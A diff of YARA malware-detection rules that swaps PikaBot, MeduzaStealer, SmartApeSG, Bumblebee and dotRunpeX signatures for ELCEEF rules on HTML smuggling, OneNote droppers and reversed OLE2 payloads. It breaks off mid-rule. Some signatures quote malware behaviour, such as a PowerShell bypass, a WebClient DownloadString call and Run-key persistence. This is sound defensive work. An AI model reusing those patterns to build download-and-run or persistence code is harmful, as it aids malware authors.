+		logic_hash = "cc5e6e511bbc0a5cbb277ed0cbac1f2b21db8e21c4cdc802b6a1c3313d3b55cc"
+		score = 65
+		quality = 75
+		tags = ""
+		hash1 = "8ace121fae472cc7ce896c91a3f1743d5ccc8a389bc3152578c4782171c69e87"
 
 	strings:
-		$s1 = {48 8D 35 ?? ?? B6 FF 48 8D BE DB ?? ?? FF 48 8D 87 AC ?? ?? 00 FF 30 C7 00 ?? ?? ?? ?? 50 57 31 DB 31 C9}
-		$s2 = {48 FF C0 88 17 83 E9 01 8A 10 48 8D 7F 01 75 F0}
+		$echo = "@echo off"
+		$substr = { 3a 7e ( 3? 2c 3? | 2d 3? 2c 3? | 3? 2c 2d 3? | 3? 3? 2c 3? | 2d 3? 3? 2c 3? | 3? 3? 2c 2d 3? ) 25 }
 
 	condition:
-		all of ($s*) and ( uint16(0)==0x5A4D or uint32(0)==0x4464c457f) and pe.sections[0].name contains "UPX0" and pe.sections[1].name contains "UPX1" and pe.sections[0].characteristics&pe.SECTION_MEM_EXECUTE and pe.sections[0].characteristics&pe.SECTION_MEM_WRITE and pe.sections[1].characteristics&pe.SECTION_MEM_EXECUTE and pe.sections[1].characteristics&pe.SECTION_MEM_WRITE
+		$echo in (0..4) and $substr in (10..100)
 }
-rule RUSSIANPANDA_Pikabot_1 : FILE
+rule ELCEEF_Polymorph_BAT_CAB : FILE
 {
 	meta:
-		description = "Detects PikaBot"
-		author = "RussianPanda"
-		id = "e740b821-69cc-5053-9f90-439b4364656f"
-		date = "2024-01-02"
-		modified = "2024-01-02"
-		reference = "https://research.openanalysis.net/pikabot/debugging/string%20decryption/2023/11/12/new-pikabot.html"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/PikaBot/Pikabot_1-2-2024.yar#L1-L16"
-		license_url = "N/A"
-		logic_hash = "f2dd26c23aba72c2b6b959fb411381b7d3a7466f94bf5259f57e96e44d3ee153"
+		description = "Detects polymorphic BAT/CAB files self-extracting payload with extrac32.exe/extract.exe"
+		author = "marcin@ulikowski.pl"
+		id = "10a46120-beaf-5443-bc35-c6d9ef065bb4"
+		date = "2024-04-10"
+		modified = "2024-04-10"
+		reference = "https://github.com/elceef/yara-rulz"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Suspicious_BAT.yara#L57-L72"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "d29d488b0ebcfb485818c181ac674e3586aa1a41ab68185a1f1d3e49295ffbce"
 		score = 75
-		quality = 85
+		quality = 75
 		tags = "FILE"
+		hash1 = "f1296b12925108a5d675a8b9c2033c0b749b121ae3b5a6a912ce4418daa06d99"
 
 	strings:
-		$s1 = {8A 04 11 30 02 42 83 EE 01 75 F5 5E C3}
-		$s2 = {C0 E9 02 C0 E0 04 [13] C0 E2 06 02 D0}
-		$s3 = {8D 53 BF 80 FA 19 0F B6 C3}
+		$extract = { 65 78 74 72 61 63 ( 33 32 | 74 ) 20 2f 79 20 22 25 7e 66 30 22 }
 
 	condition:
-		uint16(0)==0x5A4D and 2 of ($s*) and filesize <500KB
+		uint32be(0)==0x4d534346 and uint32(16)>80 and $extract in (48..80)
 }
-rule RUSSIANPANDA_Meduzastealer : FILE
+rule ELCEEF_Base64_SVG_Javascript
 {
 	meta:
-		description = "Detects MeduzaStealer 1-2024"
-		author = "RussianPanda"
-		id = "6bc4c048-a32d-5a9c-b213-980c64d08d29"
-		date = "2024-01-01"
-		modified = "2024-01-01"
-		reference = "https://russianpanda.com/2023/06/28/Meduza-Stealer-or-The-Return-of-The-Infamous-Aurora-Stealer/"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/MeduzaStealer/MeduzaStealer_1-1-2024.yar#L1-L16"
-		license_url = "N/A"
-		logic_hash = "0547e51abd04302c45f1319bc21046ade019bc98eb85d9cba67cb2109ff642eb"
+		description = "Detects base64 encoded SVG objects containing Javascript"
+		author = "marcin@ulikowski.pl"
+		id = "99275772-1f4f-5616-9a9c-f76b613fe143"
+		date = "2022-10-25"
+		modified = "2022-12-12"
+		reference = "https://github.com/elceef/yara-rulz"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Base64_SVG_Javascript.yara#L1-L16"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "e4cb08ccc75dc00b518c4ee1495409ae6bb99e7d493be55312b8d39aa9099cfc"
 		score = 75
-		quality = 83
-		tags = "FILE"
+		quality = 75
+		tags = ""
+		hash1 = "fe394a59e961c3fbcc326e7d0ee5909596de55249e669bc4da0aed172c11fda8"
+		hash2 = "f0c94f2705b1aea17f4a6c6d71c6ed725fe71bf66b03b0117060010859ca8a19"
 
 	strings:
-		$s1 = {41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 57 69 6e 55 70 64 61 74 65 2e 65 78 65}
-		$s2 = {0f 57 ?? ?? ?? 00 00 66 0f 7f 85 ?? ?? 00 00}
-		$s3 = {48 8d 15 ?? ?? 05 00 49 8b cf}
-		$s4 = {48 8d 0d ?? ?? 06 00 ff 15 ?? ?? 06 00}
+		$svg = "\"data:image/svg+xml;base64" wide ascii
+		$js = "<script type=\"text/javascript\">" base64
 
 	condition:
-		3 of ($s*) and filesize <1MB
+		all of them
 }
-rule RUSSIANPANDA_Smartapesg_JS_Netsupportrat_Stage2 : FILE
+rule ELCEEF_ZIP_High_Ratio_Single_Doc : FILE
 {
 	meta:
-		description = "Detects SmartApeSG JavaScript Stage 2 retrieving NetSupportRAT"
-		author = "RussianPanda"
-		id = "2a614e11-be32-5bf1-9fd1-da224f0a644e"
-		date = "2024-01-11"
-		modified = "2024-01-12"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/SmartApeSG/SmartApeSG_JS_NetSupportRAT_stage2.yar#L1-L23"
-		license_url = "N/A"
-		hash = "67d8f84b37732cf85e05b327ad6b6a9f"
-		logic_hash = "5a2afaa14d513e0a3c4e52acfb433e53a4541983a05d15318a217c14dc06453c"
+		description = "Detects ZIP archives containing single MS Word document with unusually high compression ratio"
+		author = "marcin@ulikowski.pl"
+		id = "0fbe89d9-1bf5-50a9-b6c1-1d739162a2ba"
+		date = "2023-03-08"
+		modified = "2023-03-08"
+		reference = "https://github.com/elceef/yara-rulz"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/ZIP_High_Ratio_Single_Doc.yara#L8-L27"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "470300b8d6356cff43a1e2be3a23a97be5d1e2ce5a76f2fb2eccdbbb47a4d327"
 		score = 75
-		quality = 85
+		quality = 75
 		tags = "FILE"
+		hash1 = "4d9a6dfca804989d40eeca9bb2d90ef33f3980eb07ca89bbba06d0ef4b37634b"
+		hash2 = "4bc2d14585c197ad3aa5836b3f7d9d784d7afe79856e0ddf850fc3c676b6ecb1"
 
 	strings:
-		$x1 = "powershell.exe -Ex Bypass -NoP -C $"
-		$x2 = "Get-Random -Minimum -1000 -Maximum 1000"
-		$s1 = "HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"
-		$s2 = "=new ActiveXObject('W"
-		$s3 = "System.Net.WebClient).DownloadString($"
-		$s4 = "FromBase64String"
-		$s5 = "Start-Process -FilePath $"
+		$magic = { 50 4b 03 04 }
+		$ext = ".doc"
 
 	condition:
-		filesize <1MB and ((1 of ($x*) and 3 of them ) or 5 of them )
+		filesize <1MB and $magic at 0 and #magic==1 and uint32(22)>1024*1024*100 and $ext at ( uint16(26)+26)
 }
-rule RUSSIANPANDA_Smartapesg_JS_Dropper_Stage1 : FILE
+rule ELCEEF_Suspicious_Onenote
 {
 	meta:
-		description = "Detects SmartApeSG initial JavaScript file"
-		author = "RussianPanda"
-		id = "9513f323-c315-5ae2-92a5-c831d0a7ce2a"
-		date = "2024-01-11"
-		modified = "2024-01-11"
-		reference = "https://medium.com/walmartglobaltech/smartapesg-4605157a5b80"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/SmartApeSG/SmartApeSG_JS_dropper_stage1.yar#L1-L18"
-		license_url = "N/A"
-		hash = "8769d9ebcf14b24a657532cd96f9520f54aa0e799399d840285311dfebe3fb15"
-		logic_hash = "de7e4ec30c780699b46de7baf2a916fdb7331da2ee7c2d637422ea664cd03b82"
-		score = 75
-		quality = 85
+		description = "Detects OneNote documents with FileDataStoreObject structure containing: PE32, shortcut files (*.lnk), encoded JS, Windows Help File (*.chm), or batch script"
+		author = "marcin@ulikowski.pl"
+		id = "57f6fc7f-666f-5887-ac97-513588415757"
+		date = "2023-01-22"
+		modified = "2023-02-21"
+		reference = "https://github.com/elceef/yara-rulz"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Suspicious_OneNote.yara#L1-L23"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "b65f0976b71c1e827ecce09f0c435d9ffa6a5d3b3a41401efc6a14b6259af4ad"
+		score = 65
+		quality = 75
+		tags = ""
+		hash1 = "f408ef3fa89546483ba63f58be3f27a98795655eb4b9b6217cbe302a5ba9d5f7"
+		hash2 = "5306fa7940b4d67dfb031fd315b661cecb2ce81e2f34c9393e1826df0f0bbdc5"
+		hash3 = "e1d34ad42938a777d80f3ee4c206de14021f13ab79600168b85894fdb0867b3e"
+		hash4 = "9e89231578d8b9b190de3288fd10f43cf11a24963a8b0a76f0c46170deda59fd"
+		hash5 = "6778c59a29e25d722230163bea272ece58d2d3696fbce4347c20104e8fb735dc"
+
+	strings:
+		$magic = { ae b1 53 78 d0 29 96 d3 }
+		$fdso_pe32 = { a4 c4 8d 4d 0b 7a 9e ac [20] 4d 5a }
+		$fdso_bat = { a4 c4 8d 4d 0b 7a 9e ac [20] 40 65 63 68 6f 20 6f 66 66 }
+		$fdso_lnk = { a4 c4 8d 4d 0b 7a 9e ac [20] 4c 00 00 00 01 14 02 00 }
+		$fdso_jse = { a4 c4 8d 4d 0b 7a 9e ac [20] 23 40 7e 5e }
+		$fdso_chm = { a4 c4 8d 4d 0b 7a 9e ac [20] 49 54 53 46 03 }
+
+	condition:
+		$magic at 8 and 1 of ($fdso_*)
+}
+rule ELCEEF_OLE2_Autoopen_Reversed_Payload : FILE
+{
+	meta:
+		description = "Detects suspiciously reversed payloads in OLE2 objects with auto-open macros"
+		author = "marcin@ulikowski.pl"
+		id = "9244fdb7-9949-58a0-9e39-e61e04cc1574"
+		date = "2021-12-01"
+		modified = "2023-04-04"
+		reference = "https://github.com/elceef/yara-rulz"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/OLE2_Reversed.yara#L1-L20"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "425750e77d31ddc356f803ee6e2f192f93f64534a9633fef02da5caaa60dbcaf"
+		score = 65
+		quality = 67
 		tags = "FILE"
 
 	strings:
-		$a1 = "'GE'+'T'"
-		$a2 = "'GE','T'"
-		$s1 = "pt.Creat"
-		$s2 = "L2.ServerX"
-		$s3 = "ponseText"
-		$s4 = "MLHTTP.6.0"
-		$s5 = /\/news\.php\?([0-9]|[1-9][0-9]|100)/
+		$auto_open = /(auto|document|workbook)_?(open|close)/ wide ascii nocase
+		$http = /\/\/:s?ptth/ wide ascii
+		$programdata = /\\ataDmargorP\\\\?:C/ wide ascii nocase
+		$windows = /\\swodniW\\\\?:C/ wide ascii nocase
 
 	condition:
-		all of ($s*) and filesize <1MB and any of ($a*)
+		filesize <1MB and uint32be(0)==0xd0cf11e0 and $auto_open and any of ($http,$programdata,$windows)
 }
-/*
- * YARA Rule Set
- * Repository Name: Check Point
- * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules
- * Retrieval Date: 2024-08-04
- * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9
- * Number of Rules: 4
- * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * NO LICENSE SET
- */
-rule CHECK_POINT_Malware_Bumblebee_Packed
+rule ELCEEF_HTML_Smuggling_A : T1027 FILE
 {
 	meta:
-		description = "Detects the packer used by bumblebee, the rule is based on the code responsible for allocating memory for a critical structure in its logic."
-		author = "Marc Salinas @ CheckPoint Research"
-		id = "35f00c87-c26e-5189-b66d-15d5a1b1dd20"
-		date = "2022-07-13"
-		modified = "2023-04-10"
-		reference = "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Checkpoint/malware_bumblebee_packed.yar#L1-L31"
-		license_url = "N/A"
-		logic_hash = "063209aad7ab8a0be46fd578a16b04afc086f930cbdb6c2f7b02824f704d7330"
+		description = "Generic detection for HTML smuggling (T1027.006)"
+		author = "marcin@ulikowski.pl"
+		id = "b711318f-81d2-5d0b-968f-04ae18fdea5b"
+		date = "2021-05-13"
+		modified = "2023-04-16"
+		reference = "https://github.com/elceef/yara-rulz"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/HTML_Smuggling.yara#L1-L31"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "bc076e9f3d4c6d2aa5a3602436408e5b2ac3140ca9f7cc776c44835cba211951"
 		score = 75
-		quality = 85
-		tags = ""
-		malware_family = "BumbleBee"
-		dll_jul = "6bc2ab410376c1587717b2293f2f3ce47cb341f4c527a729da28ce00adaaa8db"
-		dll_jun = "82aab01a3776e83695437f63dacda88a7e382af65af4af1306b5dbddbf34f9eb"
-		dll_may = "a5bcb48c0d29fbe956236107b074e66ffc61900bc5abfb127087bb1f4928615c"
-		iso_jul = "ca9da17b4b24bb5b24cc4274cc7040525092dffdaa5922f4a381e5e21ebf33aa"
-		iso_jun = "13c573cad2740d61e676440657b09033a5bec1e96aa1f404eed62ba819858d78"
-		iso_may = "b2c28cdc4468f65e6fe2f5ef3691fa682057ed51c4347ad6b9672a9e19b5565e"
-		zip_jun = "7024ec02c9670d02462764dcf99b9a66b29907eae5462edb7ae974fe2efeebad"
-		zip_may = "68ac44d1a9d77c25a97d2c443435459d757136f0d447bfe79027f7ef23a89fce"
+		quality = 75
+		tags = "T1027, FILE"
+		hash1 = "279d5ef8f80aba530aaac8afd049fa171704fc703d9cfe337b56639732e8ce11"
 
 	strings:
-		$heapalloc = {
-            48 8? EC [1-6]           // sub     rsp, 80h
-            FF 15 ?? ?? 0? 00 [0-5]  // call    cs:GetProcessHeap
-            33 D2                    // xor     edx, edx        ; dwFlags
-            4? [2-5]                 // mov     rcx, rax        ; hHeap
-            4? ?? ??                 // mov     r8d, ebx        ; dwBytes
-            FF 15 ?? ?? 0? 00        // call    cs:HeapAlloc
-            [8 - 11]                 // (load params)
-            48 89 05 ?? ?? ?? 00     // mov     cs:HeapBufferPtr, rax
-            E8 ?? ?? ?? ??           // call    memset
-            4? 8B ?? ?? ?? ?? 00     // mov     r14, cs:HeapBufferPtr
-        }
+		$mssave = { ( 2e | 22 | 27 ) 6d 73 53 61 76 65 }
+		$element = { ( 2e | 22 | 27 ) 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 ( 28 | 22 | 27 ) }
+		$objecturl = { ( 2e | 22 | 27 ) 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c ( 28 | 22 | 27 ) }
+		$download = { ( 2e | 22 | 27 ) 64 6f 77 6e 6c 6f 61 64 ( 3d | 22 | 27 ) }
+		$click = { ( 2e | 22 | 27 ) 63 6c 69 63 6b ( 3d | 22 | 27 ) }
+		$atob = { 61 74 6f 62 ( 28 | 22 | 27 ) }
+		$blob = "new Blob("
+		$array = "new Uint8Array("
+		$ole2 = "0M8R4KGxGuEA"
+		$pe32 = "TVqQAAMAAAAE"
+		$iso = "AAAABQ0QwMDE"
+		$udf = "AAAAQkVBMDEB"
+		$zip = { 55 45 73 44 42 ( 41 | 42 | 43 | 44 ) ( 6f | 30 | 4d | 51 ) ( 41 | 44 ) ( 41 | 43 ) }
+		$jsxor = { 2e 63 68 61 72 43 6f 64 65 41 74 28 [1-10] 29 ( 5e | 20 5e ) }
 
 	condition:
-		$heapalloc
+		filesize <5MB and ($mssave or (#element==1 and #objecturl==1 and #download==1 and #click==1)) and $blob and $array and $atob and (#ole2+#pe32+#iso+#udf+#zip+#jsxor)==1
 }
-rule CHECK_POINT_Injector_ZZ_Dotrunpex_Oldnew : FILE
+rule ELCEEF_HTML_Smuggling_B : T1027 FILE
 {
 	meta:
-		description = "Detects new and old version of dotRunpeX - configurable .NET injector"
-		author = "Jiri Vinopal (jiriv)"
-		id = "43e2d520-bfe4-5530-a5b4-508cfba9d06e"
-		date = "2022-10-30"
-		modified = "2023-04-10"
-		reference = "https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Checkpoint/injector_ZZ_dotRunpeX_oldnew.yar#L1-L45"
-		license_url = "N/A"
-		logic_hash = "c6ae0b4fb6cae16ae8d71e238f7753e0eadd23820507616fa2331375f4403052"
+		description = "Generic detection for HTML smuggling (T1027.006)"
+		author = "marcin@ulikowski.pl"
+		id = "640d70c2-f1fc-5e32-a720-ebc92839ec40"
+		date = "2022-12-02"
+		modified = "2023-04-16"
+		reference = "https://github.com/elceef/yara-rulz"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/HTML_Smuggling.yara#L33-L60"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "3c42e6f715bd5476aea4d47e9f6431747ddf7c7c8098840560201e2c21723eeb"
 		score = 75
-		quality = 85
-		tags = "FILE"
-		hash1_New = "373a86e36f7e808a1db263b4b49d2428df4a13686da7d77edba7a6dd63790232"
-		hash2_New = "41ea8f9a9f2a7aeb086dedf8e5855b0409f31e7793cbba615ca0498e47a72636"
-		hash3_New = "5e3588e8ddebd61c2bd6dab4b87f601bd6a4857b33eb281cb5059c29cfe62b80"
-		hash4_New = "8c451b84d9579b625a7821ad7ddcb87bdd665a9e6619eaecf6ab93cd190cf504"
-		hash5_New = "8fa81f6341b342afa40b7dc76dd6e0a1874583d12ea04acf839251cb5ca61591"
-		hash6_New = "cd4c821e329ec1f7bfe7ecd39a6020867348b722e8c84a05c7eb32f8d5a2f4db"
-		hash7_New = "fa8a67642514b69731c2ce6d9e980e2a9c9e409b3947f2c9909d81f6eac81452"
-		hash8_New = "eb2e2ac0f5f51d90fe90b63c3c385af155b2fee30bc3dc6309776b90c21320f5"
-		hash1_Old = "1e7614f757d40a2f5e2f4bd5597d04878768a9c01aa5f9f23d6c87660f7f0fbc"
-		hash2_Old = "317e6817bba0f54e1547dd9acf24ee17a4cda1b97328cc69dc1ec16e11c258fc"
-		hash3_Old = "65cac67ed2a084beff373d6aba6f914b8cba0caceda254a857def1df12f5154b"
-		hash4_Old = "68ae2ee5ed7e793c1a49cbf1b0dd7f5a3de9cb783b51b0953880994a79037326"
-		hash5_Old = "81763d8e3b42d07d76b0a74eda4e759981971635d62072c8da91251fc849b91e"
+		quality = 75
+		tags = "T1027, FILE"
+		hash1 = "63955db0ccd6c0613912afb862635bde0fa925847f27adc8a0d65c994a7e05ea"
 
 	strings:
-		$implmap1 = "VirtualAllocEx"
-		$implmap2 = "CreateProcess"
-		$implmap3 = "CreateRemoteThread"
-		$implmap4 = "Wow64SetThreadContext"
-		$implmap5 = "Wow64GetThreadContext"
-		$implmap6 = "RtlInitUnicodeString"
-		$implmap7 = "NtLoadDriver"
-		$implmap8 = "LoadLibrary"
-		$implmap9 = "VirtualProtect"
-		$implmap10 = "AdjustTokenPrivileges"
-		$implmap11 = "GetProcAddress"
-		$modulerefKernel1 = "Kernel32"
-		$modulerefKernel2 = "kernel32"
-		$modulerefNtdll1 = "Ntdll"
-		$modulerefNtdll2 = "ntdll"
-		$regPath = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\TaskKill" wide
-		$rsrcName = "BIDEN_HARRIS_PERFECT_ASSHOLE" wide
-		$koiVM1 = "KoiVM"
-		$koiVM2 = "#Koi"
+		$objecturl = { ( 2e | 22 | 27 ) 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c ( 28 | 22 | 27 ) }
+		$atob = "atob("
+		$blob = "new Blob("
+		$file = "new File(["
+		$array = "new Uint8Array("
+		$ole2 = "0M8R4KGxGuEA"
+		$pe32 = "TVqQAAMAAAAE"
+		$iso = "AAAABQ0QwMDE"
+		$udf = "AAAAQkVBMDEB"
+		$zip = { 55 45 73 44 42 ( 41 | 42 | 43 | 44 ) ( 6f | 30 | 4d | 51 ) ( 41 | 44 ) ( 41 | 43 ) }
+		$jsxor = { 2e 63 68 61 72 43 6f 64 65 41 74 28 [1-10] 29 ( 5e | 20 5e ) }
 
 	condition:
-		uint16(0)==0x5a4d and uint16( uint32(0x3c))==0x4550 and ($regPath or $rsrcName or 1 of ($koiVM*)) and 9 of ($implmap*) and 1 of ($modulerefKernel*) and 1 of ($modulerefNtdll*)
+		filesize <5MB and $atob and #objecturl==1 and #file==1 and #blob==1 and #array==1 and (#ole2+#pe32+#iso+#udf+#zip+#jsxor)==1
 }
-rule CHECK_POINT_Injector_ZZ_Dotrunpex : FILE
+rule ELCEEF_HTML_Smuggling_C : T1027 FILE
 {
 	meta:
-		description = "Detects new version of dotRunpeX - configurable .NET injector"
-		author = "Jiri Vinopal (jiriv)"
-		id = "6cdbe54b-2e8d-5f7b-81ac-983236d1449f"
-		date = "2022-10-30"
-		modified = "2023-04-10"
-		reference = "https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Checkpoint/injector_ZZ_dotRunpeX.yar#L1-L58"
-		license_url = "N/A"
-		logic_hash = "ca4336533f90598a6b6f594036e20595073e0e7cab5fcd186995c5c7f2be287e"
+		description = "Generic detection for HTML smuggling (T1027.006)"
+		author = "marcin@ulikowski.pl"
+		id = "ea1eafad-905b-571e-a016-8774e65bd976"
+		date = "2023-04-17"
+		modified = "2023-04-17"
+		reference = "https://github.com/elceef/yara-rulz"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/HTML_Smuggling.yara#L62-L82"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "83409b0b173980975f6349e448e72fe1b2115fc7dbdec8ee7ad1826a65db17d3"
 		score = 75
-		quality = 83
-		tags = "FILE"
-		hash1 = "373a86e36f7e808a1db263b4b49d2428df4a13686da7d77edba7a6dd63790232"
-		hash2 = "41ea8f9a9f2a7aeb086dedf8e5855b0409f31e7793cbba615ca0498e47a72636"
-		hash3 = "5e3588e8ddebd61c2bd6dab4b87f601bd6a4857b33eb281cb5059c29cfe62b80"
-		hash4 = "8c451b84d9579b625a7821ad7ddcb87bdd665a9e6619eaecf6ab93cd190cf504"
-		hash5 = "8fa81f6341b342afa40b7dc76dd6e0a1874583d12ea04acf839251cb5ca61591"
-		hash6 = "cd4c821e329ec1f7bfe7ecd39a6020867348b722e8c84a05c7eb32f8d5a2f4db"
-		hash7 = "fa8a67642514b69731c2ce6d9e980e2a9c9e409b3947f2c9909d81f6eac81452"
-		hash8 = "eb2e2ac0f5f51d90fe90b63c3c385af155b2fee30bc3dc6309776b90c21320f5"
+		quality = 75
+		tags = "T1027, FILE"
+		hash1 = "0b4cdfc8ae8ae17d7b6786050f1962c19858b91febb18f61f553083f57d96fea"
+		hash2 = "2b99bf97f3d02ba3b44406cedd1ab31824723b56a8aae8057256cc87870c199e"
+		hash3 = "904ea1ada62cfd4b964a6a3eb9bab5b98022ab000f77b75eb265a2ac44b45b37"
 
 	strings:
-		$implmap1 = "VirtualAllocEx"
-		$implmap2 = "CreateProcess"
-		$implmap3 = "CreateRemoteThread"
-		$implmap4 = "Wow64SetThreadContext"
-		$implmap5 = "Wow64GetThreadContext"
-		$implmap6 = "NtResumeThread"
-		$implmap7 = "ZwUnmapViewOfSection"
-		$implmap8 = "NtWriteVirtualMemory"
-		$implmap9 = "MessageBox"
-		$implmap10 = "Wow64DisableWow64FsRedirection"
-		$implmap11 = "Wow64RevertWow64FsRedirection"
-		$implmap12 = "CreateFile"
-		$implmap13 = "RtlInitUnicodeString"
-		$implmap14 = "NtLoadDriver"
-		$implmap15 = "NtUnloadDriver"
-		$implmap16 = "OpenProcessToken"
-		$implmap17 = "LookupPrivilegeValue"
-		$implmap18 = "AdjustTokenPrivileges"
-		$implmap19 = "CloseHandle"
-		$implmap20 = "NtQuerySystemInformation"
-		$implmap21 = "DeviceIoControl"
-		$implmap22 = "GetProcessHeap"
-		$implmap23 = "HeapFree"
-		$implmap24 = "HeapAlloc"
-		$implmap25 = "GetProcAddress"
-		$implmap26 = "CopyMemory"
-		$modulerefKernel1 = "Kernel32"
-		$modulerefKernel2 = "kernel32"
-		$modulerefNtdll1 = "Ntdll"
-		$modulerefNtdll2 = "ntdll"
-		$modulerefAdvapi1 = "Advapi32"
-		$modulerefAdvapi2 = "advapi32"
-		$regPath = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\TaskKill" wide
-		$rsrcName = "BIDEN_HARRIS_PERFECT_ASSHOLE" wide
-		$koiVM1 = "KoiVM"
-		$koiVM2 = "#Koi"
+		$blob = "new Blob("
+		$array = "new Uint8Array("
+		$mssave = { ( 2e | 22 | 27 ) 6d 73 53 61 76 65 }
+		$loop = { ?? 5b 69 5d ( 3d | 20 3d | 3d 20 | 20 3d 20 ) ?? 5b 69 5d ( 2d | 20 2d | 2d 20 | 20 2d 20 ) 3? 3b }
 
 	condition:
-		uint16(0)==0x5a4d and uint16( uint32(0x3c))==0x4550 and ($regPath or $rsrcName or 1 of ($koiVM*)) and 24 of ($implmap*) and 1 of ($modulerefKernel*) and 1 of ($modulerefNtdll*) and 1 of ($modulerefAdvapi*)
+		filesize <5MB and $mssave and #blob==1 and #array==1 and #loop==1
 }
-rule CHECK_POINT_Apt_Nazar_Component_Guids
+rule ELCEEF_HTA_Wscriptshell_Onenote : FILE
 {
 	meta:
-		description = "Detect Nazar Components by COM Objects' GUID"
-		author = "Itay Cohen"
-		id = "1bdc0b54-4903-559d-9037-450470fc7ef7"
-		date = "2020-04-27"
-		modified = "2023-04-10"
-		reference = "https://research.checkpoint.com/2020/nazar-spirits-of-the-past/"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Checkpoint/apt_nazar_component_guids.yar#L1-L32"
-		license_url = "N/A"
-		hash = "1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6f"
-		hash = "1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390"
-		hash = "2caedd0b2ea45761332a530327f74ca5b1a71301270d1e2e670b7fa34b6f338e"
-		hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
-		hash = "460eba344823766fe7c8f13b647b4d5d979ce4041dd5cb4a6d538783d96b2ef8"
-		hash = "4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca"
-		hash = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6"
-		hash = "8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec"
-		hash = "967ac245e8429e3b725463a5c4c42fbdf98385ee6f25254e48b9492df21f2d0b"
-		hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
-		hash = "d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65"
-		hash = "d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61"
-		hash = "eb705459c2b37fba5747c73ce4870497aa1d4de22c97aaea4af38cdc899b51d3"
-		logic_hash = "9fb69a0ea7272f1b1cbb290ae81e08f7e2b2f6c5409bbca12d9b0b781cb4c267"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects suspicious OneNote documents with embedded HTA + WScript.Shell"
+		author = "marcin@ulikowski.pl"
+		id = "8cebd862-8dfb-5f5d-befb-5c41cde945ff"
+		date = "2023-02-01"
+		modified = "2023-02-02"
+		reference = "https://github.com/elceef/yara-rulz"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/HTA_OneNote.yara#L1-L17"
